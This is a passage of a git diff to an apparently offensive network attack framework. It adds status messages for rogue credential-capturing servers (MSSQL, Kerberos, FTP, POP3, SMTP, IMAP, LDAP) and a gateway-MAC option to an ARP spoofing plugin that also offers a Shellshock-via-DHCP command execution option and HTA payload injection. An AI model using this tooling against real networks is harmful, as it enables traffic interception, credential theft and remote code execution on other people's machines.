+ payload = re.sub("_PAYLOAD_GOES_HERE_", self.hta, payload)
return payload
def options(self, options):
diff --git a/plugins/responder.py b/plugins/responder.py
index 98f50f2..fdfdd45 100644
--- a/plugins/responder.py
+++ b/plugins/responder.py
@@ -44,30 +44,37 @@ class Responder(Plugin):
if self.config["Responder"]["SQL"].lower() == "on":
from core.servers.MSSQL import MSSQL
+ self.tree_info.append("MSSQL server [ON]")
MSSQL().start()
if self.config["Responder"]["Kerberos"].lower() == "on":
from core.servers.Kerberos import Kerberos
+ self.tree_info.append("Kerberos server [ON]")
Kerberos().start()
if self.config["Responder"]["FTP"].lower() == "on":
from core.servers.FTP import FTP
+ self.tree_info.append("FTP server [ON]")
FTP().start()
if self.config["Responder"]["POP"].lower() == "on":
from core.servers.POP3 import POP3
+ self.tree_info.append("POP3 server [ON]")
POP3().start()
if self.config["Responder"]["SMTP"].lower() == "on":
from core.servers.SMTP import SMTP
+ self.tree_info.append("SMTP server [ON]")
SMTP().start()
if self.config["Responder"]["IMAP"].lower() == "on":
from core.servers.IMAP import IMAP
+ self.tree_info.append("IMAP server [ON]")
IMAP().start()
if self.config["Responder"]["LDAP"].lower() == "on":
from core.servers.LDAP import LDAP
+ self.tree_info.append("LDAP server [ON]")
LDAP().start()
def reactor(self, strippingFactory):
diff --git a/plugins/spoof.py b/plugins/spoof.py
index 637d7d7..0d6f46b 100644
--- a/plugins/spoof.py
+++ b/plugins/spoof.py
@@ -93,6 +93,7 @@ class Spoof(Plugin):
options.add_argument('--netmask', dest='netmask', type=str, default='255.255.255.0', help='The netmask of the network')
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
+ options.add_argument('--gatewaymac', dest='gatewaymac', help='Specify the gateway MAC [will auto resolve if ommited]')
options.add_argument('--targets', dest='targets', help='Specify host/s to poison [if ommited will default to subnet]')
options.add_argument('--ignore', dest='ignore', help='Specify host/s not to poison')
options.add_argument('--arpmode',type=str, dest='arpmode', default='rep', choices=["rep", "req"], help=' ARP Spoofing mode: replies (rep) or requests (req) [default: rep]')